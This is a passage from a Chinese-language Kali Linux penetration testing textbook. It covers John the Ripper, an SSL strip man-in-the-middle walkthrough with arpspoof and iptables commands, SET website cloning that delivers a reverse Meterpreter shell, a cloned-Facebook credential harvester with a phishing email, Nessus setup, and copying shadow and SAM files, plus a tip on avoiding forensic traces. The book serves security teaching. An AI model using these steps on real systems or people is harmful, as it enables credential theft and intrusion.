 是今天最广为使用的密码破解器。它有几个引擎，用以破解不同类型的密码，包括加密过的密码和哈希化的密码。John the Ripper能够自动检测多数哈希和加密过的密码，这大大方便了渗透测试人员。攻击者喜欢这个工具是因为它的可定制性非常强，可以配置成多种不同的方法来加速密码破解。

John the Ripper可以按如下方式运行：




	尝试用字典中的单词来破解密码；

	在字典单词词首或词尾加上字母数字字符，用以破解；

	将字典单词放在一起；

	将字母数字字符放到一起拼成单词；

	使用混合了特殊字符的字典单词尝试破解；

	在所有其他方式都没能成功破解时，尝试暴力破解。



使用这个工具的最佳实践是经常更新默认字典。我们发现默认的单词列表很有限（只有3115个单词），在很多情况中还破解不了普通密码。你可以借助Google来搜索字典。要验证新的单词列表的大小，打开终端，将单词列表文件加载到当前目录后，调用单词计数命令wc
 （word count
 ）。我们要用的具体命令为wc -l filename
 。

通常在从互联网上下载和合并多份单词列表时，列表中可能会出现重复的单词。我们建议删除重复的单词，并将所有的大写字母替换成小写字母，因为John会自动切换大小写格式控制。这里举个替换单词中大写字母的例子：



tr A-Z a-z  AllLowerCaseFile







下面是去重用的命令：



sort -u AllLowerCaseFile > NoDuplicatesOrUpperCase







你可以对新生成的合并文件调用wc
 命令来检查单词数：



wc -1 NoDuplicatesOrUpperCase







要在Kali中打开John the Ripper，浏览Password Attacks
 > Offline Attacks
 ，然后选取John
 。它会打开一个命令行终端。


 Johnny是John the Ripper的一个GUI程序。Johnny会在第4章
 中介绍。

你可以对John the Ripper的速度进行基准测试，输入john -test
 就能知道它运行速度有多快了。

要使用定制过的单词文件，比如前个例子中生成的NoDuplicatesOrUpperCase
 ，你需要编辑默认的单词列表。它位于默认的John the Ripper目录下的john.conf文件中。在该文件中，你会发现单词列表指向了默认的password.lst
 。




将文件列表改成新的单词列表文件的名字。参考前面的例子，你可以将它改成Wordlist = NoDuplicatesOrUpperCase.lst。新的单词列表文件必须放到john.conf文件中指定的目录里。默认的目录是位于$JOHN变量指定的目录中。

要将John the Ripper和密码文件配合使用，首先需要将目标文件复制到指定的John目录。调用复制命令cp
 来将该文件移动到John目录。举个例子，要复制shadow文件（Linux系统中常见的一个密码文件），可以输入cp /etc/shadow .
 。

当该文件跟John the Ripper放到一起后，调用命令john
 ，后跟该文件名。因此如果要将John the Ripper和shadow文件一起运行，输入john shadow
 。

你可以按下回车键来检查John the Ripper的进度，它会显示当前正在试探的密码，以及每秒钟的破解数，单位为c/s。

可以用组合键Ctrl+C来暂停John the Ripper的进度。如果你是调用john FILE
 来重新运行John，它会从你上次暂停的位置继续。

在John the Ripper运行结束时，查看结果可以输入john -show FILE
 。那么查看shadow文件的情况，则输入john -show shadow
 即可。

有关John the Ripper的详细资料，可以参考http://www.openwall.com
 。




3.6　中间人攻击



在标准定义中，中间人攻击（MITM，Man-in-the-middle）是指攻击者跟受害者分别建立独立连接的一种侵入式攻击。中间人攻击最常出现在主机系统之间。前不久曾出现过一个漏洞，它侵入了将用户从非安全网页连接到安全网页的系统。这样攻击者可以窃取那些连接到安全Web服务器的用户的数据。后面一节会介绍这个漏洞。常见的中间人攻击会在本书后面章节中介绍。



SSL strip工具



2009年，安全研究员Moxie Marlinspike在DefCon上发布了SSL strip工具。他介绍了SSL会话劫持的基本概念，这是一种中间人攻击的形式。其中网络攻击者代理的是来自用户的HTTPS请求，而非可以被拦截和篡改的通过HTTP发送的请求。SSL strip可以将这种攻击自动化，允许第三方拦截到安全站点的数据连接。随后，人们制定了HTTP严格传输安全协议（ HSTS，HTTP Strict Transport Security Speification）来应对这类攻击，但HSTS的部署进程非常缓慢。时至今日，SSL会话劫持攻击依然广为使用。

本节，我们只会用到一个网卡接口。你的虚拟机中可能配了多个网卡接口。我们需要先检查是否启用了多个虚拟的网卡接口。

在桌面的左上角，点击Xterm
 链接打开命令行终端。我们用ifconfig
 来确定虚拟机上启用了哪些网卡。

具体的命令是ifconfig | grep "eth"
 ，它会从所有各式各样的网口中过滤出以太网卡，然后输出显示如下：




如果启用了不止一个网卡，调用命令ifdown
 后跟网卡名来将其关闭。举个例子，我们有两个名为eth0
 和eth1
 的网卡，可以调用ifdown eth0
 命令来关闭网卡eth0
 。你可以关闭所有不用的网卡。




要让SSL strip中间人攻击（MITM）能工作，你需要两部分信息。首先，需要知道目标的IP地址。其次，需要充当子网网关的路由器的IP地址。由于这种攻击方式只对跟目标相同的第二级网段起作用，所以需要找出我们的默认网关。可以再次利用命令行终端。

在终端会话中调用如下命令：



route -n










或者用带过滤功能的shell命令route -n | grep 'UG' | awk '{print $2}'
 直接输出默认网关。





1. 开始攻击：重定向


在开始从SSL会话中收集注入用户凭据一类的信息之前，我们需要先完成一些任务。需要先运行允许我们重定向网络请求的工具。此外，需要重定向攻击主机中抓取的请求，这样才能将用户数据包转发给SSL strip工具。我们先要在Iptables和Arpspoof工具中启用IP转发功能。

下面三步会进行IP转发、arpspoof重定向和端口转发配置。这些命令都是在命令行终端中执行的。启用IP转发：



echo 1 > /proc/sys/net/ipv4/ip_forward










在这个例子中，我们需要知道受害者或目标主机的IP地址。这是为了避免让所有攻击主机对整个网络发起ARP地址洪水引起注意。在实际的攻击场景中，理想情况下都是针对整个二级网段运行arpspoof
 （如果不知道受害者的IP地址，这是默认的做法），同时可以选择利用抓包和嗅探工具来进一步判定受害者的IP地址。在有多台主机的环境中，这种做法可能会引起数据的流动变慢，同时使得攻击者被发现的几率加大。命令是：



arpspoof -i eth0 -t victimip default_gateway_ip










建议不要将该进程放到后台执行，而是保留该窗口，重启一个新的终端会话来进行其他操作。


2. 使用iptables建立端口重定向


这一步操作可以帮助攻击者抓取发往HTTP服务器上TCP 80端口的数据，并将其重定向到SSL strip的监听端口。在本例中，对于目标端口和重定向目标，重定向会在TCP的10000端口上完成。攻击者可能会使用任何可用的端口。这里选择的重定向目标也必须为SSL strip设置监听端口。命令如下：



iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000











 如果要禁用PREROUTNIG
 规则，你可以将-A
 替换成-D
 来清除所有在用的规则。



iptables -t nat -F #清空 



iptables -t nat -L #检查












iptables
 有许多选项。你可以使用命令man iptables
 查看其他命令选项。

现在已经一切就绪，可以开始用SSL strip抓取数据了。

在新打开的命令行窗口中启动sslstrip
 ，运行如下命令来运行SSL strip工具，并开始监听TCP 10000端口：



sslstrip -l 10000










在目标主机上，访问在线邮件服务，如https://www.hotmail.com
 ，并登录。




使用应用菜单中的快捷键跳到SSLStrip目录。另外打开一个终端窗口，输入如下命令：


 ￼

你现在应该能看到SSL strip攻击的结果了。


 在下面的例子中，用户名和密码都被遮挡处理了。但在你的屏幕上应该是以明文方式可见的。 





3.7　小结



本章介绍了使用Kali中自带的工具对Web服务器漏洞加以利用的各种方法。最常见的方法是用自动化工具找出已知漏洞，然后利用最可能的路径来获得目标系统的访问。

一开始，我们着重介绍了用来找出漏洞的各种工具。之后介绍了对常见服务器以及邮件服务器上的漏洞加以利用的工具。然后着重介绍了如何用暴力破解工具从没有已知可利用漏洞的服务器上获取数据。最后介绍了密码破解和中间人攻击，这些内容还会在后续章节进一步探讨。

下一章会着重介绍找出和利用主机系统，即客户端设备上的漏洞。

 




第 4 章　客户端攻击



客户端（client）或主机（host）是指用来上网的终端设备，比如计算机、平板电脑或是移动设备。客户端可能会为其他客户端提供信息、服务及应用，或是从其他系统（比如服务器）获取信息。通常，术语客户端是指供人使用的终端设备。然而，人的参与可能会引发一系列可能的漏洞。

因此，客户端攻击这种方法就应运而生。由于它跟Web应用具有关联性，所以可以用来找出谁连接到了Web应用，系统上有哪些漏洞，以及这些系统是否可以成为从Web应用获取访问权限或信息的一种途径。本章将集中介绍如何找出访问Web应用的系统，评估这些系统中的漏洞，并对这些漏洞加以利用。另外，本章还将着重介绍破解密码的方法，因为这是最常用的保护主机系统安全的方式。

本章首先会先介绍如何通过社会工程来攻击主机。然后详细阐述如何在主机系统上找到漏洞，这样你就可以使用本书中其他章介绍的工具对这些漏洞加以利用。最后，我们将介绍如何攻击密码，因为密码是最常见的保障安全的形式。




4.1　社会工程



人类总是目标系统安全态势中最薄弱的环节。你越是想对终端用户有更多的约束，他们就越是会试着绕过这些安全政策。而你设立的约束越少，人们就越不会遵照你的安全政策。这就意味着，在决定如何保护终端用户免受网络威胁时，我们面临的是一把双刃剑。而黑客们深知这一点，因此他们通过各种方式瞄准终端用户，试图利用这些用户的一个关键特征——信任。

社会工程是欺骗人们使其泄露信息的艺术。许多客户端攻击都是据此来欺骗终端用户，使他们的系统暴露给攻击。社会工程涉及的范围很广，从拨打电话声称自己是某公司正式员工到在人人网上发个声称是某类服务的链接而实际上是欺骗客户的一种手段都是。

如果想确保发起的社会工程攻击能够成功，那么最佳的方式是花时间充分熟悉你的目标，也就是要学习用户是如何交流的，并尝试融入他们的环境。许多未能成功的社会工程攻击都是因为采用通用的格式，而内容中没有能够吸引被攻击用户的强有力的抓手，比如一些写得很糟糕的电邮总是声称用户获得了无人认领的奖金。使用如人人网这样的社交媒体资源是了解目标用户的一个好方式，比如他有哪些爱好，常用哪种表述方式。举个例子，如果某个目标用户的人人网个人档案上显示了某些球队的队徽，那么利用打折的球赛门票设定圈套效果会更好。

由于大多数客户端攻击都是利用社会工程，下一节我们将会介绍Kali中带的一个流行的社会工程工具库。




4.2　社会工程工具集（SET）




社会工程工具集（SET，Social Engineer Toolkit）
 是由TrustedSec
 的创始人创建并开发的。它是一个基于Python的开源工具，主要功能是利用社会工程进行渗透测试。SET深受专业安全人员的欢迎，用于测试某个企业的安全态势。真实攻击者也会利用SET进行主动或恶意攻击。它是最常见的用来进行社会工程攻击的工具。

如果想启动SET，请点击浏览Exploitation Tools
 > Social Engineering Tools
 ，然后选择se-toolkit
 。

在Kali上首次启动SET时，SET分发会直接从GitHub
 上更新。它会弹出个选项说自动接收更新。如果同意自动更新，选择yes
 。




SET会要求你确认是否已安装git。Kali已经预载了git，不过最好的方式还是沿用第1章中介绍的的步骤更新Kali。这一更新将包括获取能确保SET正常工作的git版本。

Kali 1.0不包含.git目录，所以如果想要更新，你需要参照以下步骤：

1.打开终端，切换目录到cd /usr/share。



2.备份老的set
 目录，输入：mv set backup.set
 。



3.依照下面的命令，重新从GitHub上下载SET：git clone
 
https://github.com/trustedsec/social-engineer-toolkit/set/






4.找回老的config文件，避免重新设置MSF的路径，使用如下命令：



cp backup.set/config/set_config set/config/set_config


5.使用se-toolkit命令验证SET能否正常工作。






使用SET来进行克隆和攻击



现在你已经知道了SET的基本工作原理，让我们用一个可能会被信任的网站来攻击一下客户端机器。尽管我们可以用任意网站来举例子，但还是使用一个简单点儿的更好。

这里我们举一个通过克隆企业的SharePoint
 站点来借助meterpreter
 对受害者进行利用的例子。实际上，它可以是你想攻击的任何网站。我们选择SharePoint站点是因为作为渗透测试人员，你可能更想选择一个能够达到目的的目标。许多带有邪恶企图的攻击者可能会克隆一个公共站点。




下一步是浏览Exploitation Tools
 > Social Engineering Toolkit
 > se-toolkit
 来启动SET。

接受所有授权证书和服务条款之后，你就能看到SET的主屏幕。




我们建议选取选项5) Update the Social-Engineer Toolkit
 。更新后，选择选项1) Social-Engineering Attacks
 。下一个截图会显示SET中社会工程攻击
 下可用的不同的网站攻击向量。Spear-Phishing（鱼叉式网络钓鱼）选项是一种常见的攻击，它能将攻击嵌入到电邮和PDF中。鱼叉式网络钓鱼会直接在SET中将攻击文件伪装成由受害人发出的电邮发送。




在本例中，我们选择了Website Attack Vectors
 。前面我们已经克隆了一个网站用于针对网站的攻击。接下来，我们需要决定如何发出攻击载荷。这里有几种可用选项。选择Java Applet Attack
 ，通常也就是第1个选项。




SET会询问你是想使用SET自带的现有模板，还是想自己克隆一个网站。默认的模板并不好用，我们建议你克隆一个网站，如前面提到的SharePoint的那个例子。

在下一屏内容中，SET会显示若干个有关用户如何复制该网站的选项。在本例中，我们会选取site-cloner选项。选择site-cloner后，SET会提出一系列问题。这些问题可以引导你克隆一个网站，然后让它在Kali中运行。站点克隆器会询问如下设置：




	
NAT/Port forwarding
 （NAT/端口转发）　这个选项可能会有点令人困惑。SET是在询问受害者是会通过访问你在Kali服务器上配置的IP地址来连接到你的机器，还是会通过其他IP地址（比如NAT地址）连接到你的机器。当你在攻击你的网络外或因特网上的受害者时，它会非常好用。如果你是在攻击你的网络外的受害者，你可以选择yes
 。如果你是在攻击同一个网络中的受害者（比如内部实验室），选择no
 。

	
IP address/hostname for reverse connection
 （反向连接的IP地址/主机名）　当SET将它的载荷发送给受害者时，SET需要告诉受害者如何连回Kali。在实验室环境中，你可以输入你的Kali服务器的IP地址。

	
URL you want to clone
 （你希望克隆的URL）　这是你要复制的网站的链接。

	
Exploit to deliver
 （要发送的漏洞利用）　SET会使用Metasploit
 框架来发送漏洞利用。最流行的选项时Windows Reverse_TCP Meterpreter
 。Windows Reverse_TCP Meterpreter的工作原理是让受害者运行一个可执行文件，从而建立一个开放端口，以便供攻击者连回并获取受害者机器的全部shell访问权限。下面的截图显示了可用的载荷。Windows Reverse_TCP Meterpreter是列表中的第二个选项。




 你可以导入自己的可执行文件。有自己的工具/恶意软件的攻击者或其他人群喜欢用这种方式。




SET会询问你希望使用哪种类型的反病毒混淆技术。与此同时，它会在各个选项旁边显示一个评分。我们建议通常情况下，最好选择评分较高的选项，除非你有特定的需要。下面的截图显示了可用的选项。我们选择选项16，因为它的得分排名最高。




SET会询问你要用哪个监听端口。大多数情况下，请坚持选用默认端口。在回答了最后一个问题之后，SET会启动克隆的网站。

新克隆的网站可以用来攻击目标用户。首先，你要诱导用户使用互联网浏览器来访问我们克隆的网站。然后，访问了克隆的仿冒网站的用户会接收到一个Java弹出框。如果运行了的话，它能提供一个连到你的Kali服务器的Reverse_TCP Meterpreter。作为攻击者，你可以启动一个meterpreter会话，并在访问克隆网站的设备上获得全部的管理员权限。

如下图所示，用户的客户端机器上会出现一个简单的Java弹出消息，这看上去很正常，而且普通用户一般会不假思索的选择运行。




在终端用户运行克隆网站的Java applet之时，Kali服务器会连接到受害者的机器上，如下面的截图所示：




在下一个示例截图中可以看到，SET可以和meterpreter会话交互，并直接调用命令在受害者的机器上执行：




你可以跟meterpreter保持多个会话。在本例中，我们用的是命令sessions -I 1
 。最重要的是，我们是在跟meterpreter的第一个会话进行交互。如果我们攻陷了多台主机，我们可以有多个meterpreter会话、跟他们交互、在他们之间切换，或是将他们逐个关掉。

现在我们已经了解了使用SET的一些基础知识，让我们再看一个例子。我们将要学习如何克隆一个网站来窃取密码。

这次在到达攻击选项界面时，我们选择凭据收集器攻击（Credential Harvester Attack）。凭据收集器攻击可以通过浏览Social Engineering Attacks
 > Website Attack Vectors
 > Credential Harvester Attacks
 来打开。




你可以选择克隆网站、使用网站模板或是导入自己的Web文件（HTML、图片及其他文件）。

流行站点如Facebook、Gmail和Twitter都有模板可供利用。其他网站则可以通过输入相应的URL来克隆。但有些情况下，我们会发现网站模板和克隆站点都有一些小问题。这时候，你需要使用定制导入。首先，用Web复制工具或是Web克隆软件在Kali中保存一份某个网站的拷贝。然后，使用定制导入选项指定该站点拷贝所在的目录。你需要试试看哪些选项最适合你的网站。




我们选择了选项2) Site Cloner
 。之后它会让我们输入一个URL。我们要克隆https://www.facebook.com
 。


 我们输入的都是很确切的URL，并且要指定使用的是HTTPS还是HTTP URL。大多数情况下，二者并没什么区别，因为我们不会托管一个安全的网站。但某些情况下，HTTP站点跟HTTPS站点会有所不同。

我们还会被要求输入SET用来托管假冒网站的IP地址。通常这个地址也就是你的Kali Linux环境的IP地址。不过，如果你计划将受害者引导到一个使用NAT转换的地址上（可能通过上游的防火墙），那么输入NAT地址。

在你克隆了网站并将监听端口配置好后，SET会开始等待连接，如下面的截图所示：




下一步是将用户引导到假冒的站点上。常用的办法是发送一封假冒的电子邮件，也就是所谓的钓鱼电邮。SET可以帮你自动化实现，但在这个例子中，我们打算手动操作。下面这个例子显示了一个链接到我们克隆的Facebook站点的假冒电邮。当用户点击链接www.facebook.com
 时，他会被引导到我们假冒的位于facebook.secmob.net
 的网站。




在下面的截图中你可以看到我们克隆的Facebook很逼真，但URL并不是真的Facebook的URL。这个攻击假设受害者并未注意到URL的细微差异。这也是为什么真实的钓鱼攻击都使用跟真实站点类似的域名。




当受害者在假冒网站上输入他的或她的名字时，SET会将用户重定向跳转到真实的站点。大多数情况下，用户会在真实站点再次输入他们的密码并登入网站，而不会意识到他们已经被攻击了。在运行SET的Kali Linux上，你能看到密码被截获了。




除了实时日志，SET还会生成一份该事件的报告，这样攻击者之后就能使用窃取的凭据了。




在使用如SET这样的工具攻击客户端时，渗透测试人员一定要对客户端的行为进行了解。一种很有效的办法就是使用代理服务器来检查和拦截Web请求。

在第6章中，我们会深入介绍代理服务器。但目前，我们还是需要先简单了解一下，在使用像SET这样的工具进行Web攻击时，如何检查客户端的工作方式。




4.3　MITM代理服务器



MITM Proxy是渗透测试人员用来检查客户端漏洞的一款优秀工具。它允许管理员检查HTTPS的连接，暂停，检查和回复请求，甚至还允许管理员替换来自某个Web服务器的请求或响应。

MITM Proxy有利于渗透测试人员快速检查攻击，摸清有哪些请求或响应是来自或发往该Web浏览器的。如果想启动MITM Proxy，浏览Kali
 > Sniffing/Spoofing
 > Web Sniffers
 ，选择mitmproxy
 即可。


 我们建议在搭建SET攻击和分析攻击行为时使用MITM Proxy，在测试环境中最好同时运行SET和MITM Proxy。

MITM代理服务器搭建好后，你需要将客户端Web浏览器指向你的Kali服务器。MITM会显示客户端一边发生的Web请求记录，如下面的截图所示：




它会将客户端发生的所有浏览器活动都记录到日志中。尽管在典型的Web渗透测试中，MITM Proxy并不是主要的组件，但是在SET投入实际应用前，对SET进行设置和测试时，MITM Proxy是一个绝妙的工具。在后面的章节中，我们还会检验其他类型的代理服务器。不过，渗透测试人员偏爱MitM代理服务器的原因很简单，因为用它测试攻击工具很方便，只需要将工具直接连接到Kali Linux上即可。




4.4　主机扫描



访问主机系统的一个常见方式是找出并利用操作系统的漏洞，以便之后安装应用或其他程序。如Nessus
 之类的工具可以自动检测系统中是否含有已知的公开漏洞。本节将介绍如何安装Nessus，并针对某个目标系统执行Nessus。通过Nessus找出漏洞之后，可以使用我们在第3章中介绍过的漏洞利用工具，对这些漏洞加以利用。



使用Nessus进行主机扫描



Kali并没有预装Nessus。要使用Nessus，你需要先从Tenable
 公司获得一个注册码。Tenable提供了一个家庭版订阅选项，但它会限制你最多只能扫描16个IP地址。如果你要扫描更多的IP，那么必须从Tenable购买专业版订阅。


1. 在Kali上安装Nessus



Nessus家庭版订阅
 仅能用于非商业的个人用途。如果你要在商业环境中使用Nessus，你必须购买Nessus专业版订阅
 （Nessus ProfessionalFeed）。要获得Nessus的激活码，你可以访问http://www.tenable.com/products/nessus/nessus-homefeed
 。

由于Kali中没有预装Nessus，所以你需要自己去下载并安装。需要注意的是，Nessus并没有Kali Linux专版，但针对Debian 6.0适配的那个版本也能在Kali Linux上使用。

1.下载Nessus的Debian安装包。访问http://www.tenable.com/products/nessus/select-your-operating-system
 ，下载Nessus的Debian-64位版本。


 在下载Nessus时，你可以将它复制到/tmp
 目录中。如果你是在其他目录输入这些命令，你可能需要调整具体的命令。

2.跳到下载Nessus的目录，调用如下命令



ar vx Nessus-5.2.1-debian6\*



tar -xzvf data.tar.gz



tar -xzvf control.tar.gz



ar vx Nessus-5.2.1-debian6\*



tar -xzvf data.tar.gz



tar -xzvf control.tar.gz







最终它会生成一个*etc*目录和一个*opt*目录。 3.将/tmp/opt中的nessus目录复制到/opt目录；然后就当/opt目录不存在。调用如下的命令：



mkdir /opt #它可能会显示一个错误，说/opt目录已经存在；那就跳到下一条命令



cp -Rf /安装目录>/opt/nessus /opt



cp -Rf /安装目录>/etc/init.d/nessus\* /etc/init.d



  安装目录>安装目录>






4.你可以删除/tmp目录中下载的Nessus的内容。 5.要启动Nessus工具，调用如下命令：


/etc/init.d/nessusd start


6.登录到Nessus的管理界面。打开浏览器，跳转到https://127.0.0.1:8834。


2.使用Nessus


第一次登录Nessus时，它会弹出一些问候语，然后弹出一个SSL警告，说明你正在连接一个使用自签名证书的站点。在跳过一些浅显易懂的页面后，它会要求你输入激活码，并下载最新插件。




你还要设置一个用户名和密码，用于管理Nessus应用。下面的截图显示的是设置账户以及注册后Tenable发来激活码的过程：







插件的初始化下载需要一些时间，请耐心等待。




在完成所有更新的下载和初始化后，它会显示登录界面。请用你在初始化安装阶段设置的用户名和密码登录。




如果想要开始扫描，那么点击上方横栏的Scan
 标签，选择New Scan
 。它会提示你输入目标的详细信息，还会问你想要选择哪个模板。Nessus有一些内置模板。在本例中，我们选用了外部网络扫描。


 如果界面上没有Scan
 标签，你也可以选择Scan Templates
 和New Scan
 来创建新扫描。




在选择Create Scan
 后，扫描会在计划时间启动。默认是立即运行，所以在大多数情况下，扫描会立即运行。




在扫描完成后，结果可以通过点击Results
 标签查看。它会为管理员提供一份Nessus发现的漏洞的报告。




我们可以检查完成的扫描，以及到目前为止所有活动扫描收集的结果，如下图所示：




作为渗透测试人员，你应该着重注意漏洞。你可以在Metasploit框架中搜索通过Microsoft的补丁或漏洞引用码找出的漏洞，以便能在目标主机上利用这些漏洞。有关如何使用Metasploit的更多信息可参考第3章的内容。




前面的例子显示了一些极其危险的漏洞（不用担心，我们稍后会给这些系统打补丁的）。所有这些漏洞都可以使用Metasploit或其他攻击工具来加以利用。要了解如何通过Nessus找到的漏洞来进行漏洞利用，你可以参考第3章中介绍的Metasploit。

Nessus提供了一些导出找到的漏洞详细信息的选项。你可以将结果导出为HTML、CSV、PDF和许多其他常见文件类型。要导出结果，你可以先到Results
 部分，选择一个已经完成的扫描。左侧的第三个标签提供了导出扫描的选项，如下面的截图所示：







4.5　获取和破解用户密码



根据定义，密码破解是指从计算机系统中存储或传送的数据中还原密码。密码是用来加固各种类型系统的安全，我们在第3章中介绍攻击Web服务器时提到过。

主机系统通常是Windows系统或基于Linux的系统，在存储和保护用户密码方面有自己独特的方式。本节将会着重介绍如何破解主机系统上的密码文件。我们之所以在本书中介绍这部分内容，是因为主机系统是Web应用常见的一种授权客户端。侵入客户端也就意味着开一个门来访问目标Web应用。

获取用户密码最简单的方式是通过社会工程。如前面所介绍的那样，黑客可以将自己伪装成已授权的个体来获取密码或是获取用户创建密码的线索。举个例子，如果知道所有密码都必须是6~10个字符、必须以大写字母开头并以数字结尾这样的规则，那么黑客破解密码所需要做的尝试就会大大减少。（Kali提供了一个名为Crunch
 的工具来生成用于这类攻击的密码列表，极其简便。）

聪明的渗透测试人员应该通过第2章中介绍的侦察技术来找出系统类型、可能的密码规则、参与管理系统的人员以及其他能够帮助缩减破解密码范围的信息。

黑客破解密码一般都是有几种固定方式。我们列在了下面：




	猜测（Guess）：通常用收集到的有关目标的信息来进行人工猜测；

	字典攻击（Dictionary attack）：使用自动化攻击，利用字典中所有可能的单词进行尝试；

	暴力破解（Brute-force）：使用所有可能的字符组合来试；

	混合方式（Hybrid）：混合使用字典攻击和暴力破解。



密码必须存储起来，这样系统才能验证用户的身份和访问权限。但系统一般不会将密码以普通文本文件的形式存储，原因显而易见。大多数系统都不会将加密当做保护密码的唯一方式，因为还要一个密文来还原，这样就会在保护加密文件上表现出一定的缺点。

哈希化处理（hashing）会将密文或密码转换成完全不同的值（一般是用算术运算）。哈希化处理是不可逆的，并且会针对输入的同一个密文生成同样的哈希，也就是说哈希可以被存储，并用于针对输入的密码来进行身份验证。修改其中某个因子，比如将某个字母大写或是增加一个空格，都会导致生成完全不同的哈希。

哈希也能像密码一样被暴力破解，如果你知道生成哈希的公式的话。许多密码破解工具如John the Ripper都能对哈希进行检测，并用自动生成的哈希输出来对所有哈希的输出组合进行暴力破解攻击。只要找到了匹配的哈希，John the Ripper就会打印出生成匹配的哈希的普通文本密码。

彩虹表（Rainbow Table）是常见哈希算法的共同敌人。彩虹表是与计算好的所有哈希输出的数据库，可以用来通过搜索来找出哈希输出。如www.freerainbowtables.com
 之类的网站会提供针对流行的哈希算法的各种版本，如在许多Windows系统中使用的MD5。Kali还提供了如RainbowCrack
 之类的应用来自动生成彩虹表。

对哈希进行加盐处理会通过增加定制的比特位来将哈希的输出变成在常见彩虹表中无法找到的哈希。不幸的是，许多系统如Windows并未使用哈希加盐的方式。



Windows密码



Windows是世界范围内商业领域使用最广泛的操作系统。在保护密码方面，微软一直不太靠谱。虽然现在微软的产品已经比早期版本安全多了，不过，它们仍然可以被Kali中提供的很多攻击攻陷。

Windows是将密码都存储到系统账户管理（SAM，System Account Management）
 注册文件中。偶有例外，会使用活动目录（Active ）
 。活动目录是另外一种身份认证系统，它会将密码保存到LDAP数据库中。SAM文件位于C:\<系统根目录>\sys32\config中。

SAM文件会利用LM或NTLM哈希将密码保存成哈希格式，这样文件能够更安全。在Windows运行时，SAM文件不能被移动或复制。但SAM文件可以被转存，也就是说密码的那些哈希能够被移动到离线环境，进而用暴力破解工具里破解。黑客也可以通过启动另外一个操作系统、挂载C:\
 盘、在硬盘上或是光驱/软盘上启动Linux发行版（如Kali）等方式来获取SAM文件。

有个常见的能找到SAM文件的位置是C:\<系统根目录>\repair目录。默认系统会创建备份用的那份SAM文件，并且通常不会被系统管理员删除。这个备份文件并没有受到任何保护，不过是经过压缩处理的；也就是说，必须先解压文件才能获取哈希文件。你可以用expand工具来解压文件，命令格式是expand [文件名] [目标位置]。这里有个将这个压缩的SAM文件展开成解压后的SAM文件的例子：



C:\> expand SAM uncompressedSAM







为了应对离线破解的威胁，微软的Windows 2000系统和更新的系统添加了一个SYSKEY工具。SYSKEY工具会将SAM文件中哈希化处理的密码用128位的加密密钥来加密，每个不同的安装中这个密钥也不同。

能够物理访问Windows系统的攻击者可以通过以下途径获得SYSKEY
 （也称为启动密钥）：

1.启动另一个操作系统（比如Kali）；



2.窃走SAM和SYSTEM文件的老巢（C:\<systemroot>\sys32\config）；



3.通过bkreg和bkhive从SYSTEM目录恢复启动密钥；



4.转存那些密码的哈希；



5.用如John the Ripper一类的工具离线破解。


 如果访问了Windows中的文件，你会修改MAC（Modify/Access/Create，修改/访问/创建
1

 ）信息。Windows会利用这些信息来记录你的痕迹。为了避免留下取证的证据，我们建议你先复制目标主机系统，然后再发起攻击。



1

 此处作者原文为“modify, access and change”，但这个解释是*nix系列系统的解释。Windows上一般会将MAC理解为“modify, access and create”。——译者注



1.挂载Windows


有很多工具可以用来获取Windows中的SAM和SYSKEY文件。提取这些文件的一个方式是挂载目标系统的Windows系统，这样其他工具就可以访问这些文件，而Windows却没在运行。

第一步是使用fdisk -l命令来找出系统中的分区。你必须找出Windows和分区类型。fdisk
 输出会显示一个NTFS分区，如下所示：



Device Boot Start End Blocks Id System



/dev/hdb1* 1 2432 19535008+ 86 NTFS



/dev/hdb2 2433 2554 979965 82 Linux swap/Solaris



/dev/hdb3 2555 6202 29302560 83 Linux







你可以用命令mkdir /mnt/windows来创建一个挂载点。

然后用下面例子中的命令来挂载Windows系统：



mount -t <Windows类型> <Windows分区> /mnt/windows










现在目标的Windows系统已经成功挂载，你可以将SAM文件和SYSTEM文件用下面的命令复制到攻击目录中：



cp SAM SYSTEM /pentest/passwords/AttackDirectory







还有一些工具可以用来转存SAM文件。PwDump
 和Cain and Abel
 只是其中的两个。Kali还提供了samdump
 工具，在4.6.3节中我们会再做介绍。


 你需要恢复Bootkey和SAM文件。Bootkey文件是用来访问SAM文件的。用来访问SAM文件的工具要用到Bootkey文件。


bkreg
 和bkhive
 是用来获取Bootkey
 文件的常见工具，如下面的截图所示。





2.Linux密码


Linux主机系统并不像Windows一样常见，获取ROOT访问权限面临的难度也有所不同。如果启用了自动登录，许多系统可能会将密码以明文的形式存储，比如用于Telnet和FTP的.netrc文件。对于多数攻击，你需要提取passwd和shadow文件。它们通常位于/etc/passwd和/etc/shadow。

shadow文件只有ROOT用户可读，通常以MD5哈希的方式储存。shadow文件要比Windows的SAM文件更难获取。一般获取shadow文件都是通过引导加载程序，如grub。

破解Linux的密码跟破解其他系统如Windows的密码基本类似。许多混合型自动破解程序，如John the Ripper，可以识别哈希的类型，并用正确的字典暴力破解shadow文件中的密码。




4.6　Kali中的密码破解工具



Kali提供了各种各样的工具来绕过密码安全。密码破解工具可以在Password Attacks
 中找到，具体分为离线破解工具和在线破解工具两大类。本节将会着重介绍在Web应用渗透测试中危害主机系统的工具。Kali中也有其他一些工具，比如用来破解无线协议密码的工具，不过，本书不会涉及这些。


 John the Ripper命令行和Hydra工具在第3章中已经做过介绍。



4.6.1　Johnny




Johnny
 是流行的John the Ripper密码破解工具的一个图形化界面。我们在第3章中介绍了传统的John the Ripper命令行版本。跟命令行版本类似，Johnny有若干个引擎，这样它就能破解不同类型的密码，包括加密过的密码和哈希化处理过的密码。Johnny能够自动检测大多数哈希化的密码和加密过的密码，这点使得这个过程对渗透测试人员来说更简单。攻击者都喜欢这个工具，因为它的可定制性非常强，能以各种方式定制，以便加快破解密码的速度。


 有些定制可能在Johnny中不可用。对于大多数攻击，我们推荐使用它的命令行版本，John the Ripper。

John the Ripper按如下方式工作：




	尝试用攻击字典来破解密码；

	尝试在字典单词的前面或后面加上字母数字字符来破解；

	将字典单词放在一起进行攻击；

	将字母数字字符放到一起组成新的单词；

	在字典单词中混入特殊字符来进行攻击；

	当所有其他方法都失败了，尝试暴力破解。



要使用Johnny，你可以浏览Password Attacks
 > Offline Attacks
 ，然后选择Johnny
 。点击Open Password File
 ，选择你要破解的密码文件。下面的截图显示了将带有用户BOB
 、mary
 和joey
 的shadow
 文件作为目标的场景。

随着Johnny开始破解密码，Password
 列会被逐渐填满。




左侧面板上有Johnny的配置标签。Options
 标签是你选择攻击类型的地方。下面的截图显示了默认行为的定义和选择哈希类型的选项。Johnny的自动检测通常能有90%的正确率。





Statistics
 标签会显示Johnny已经运行某个活动会话多长时间了。Settings
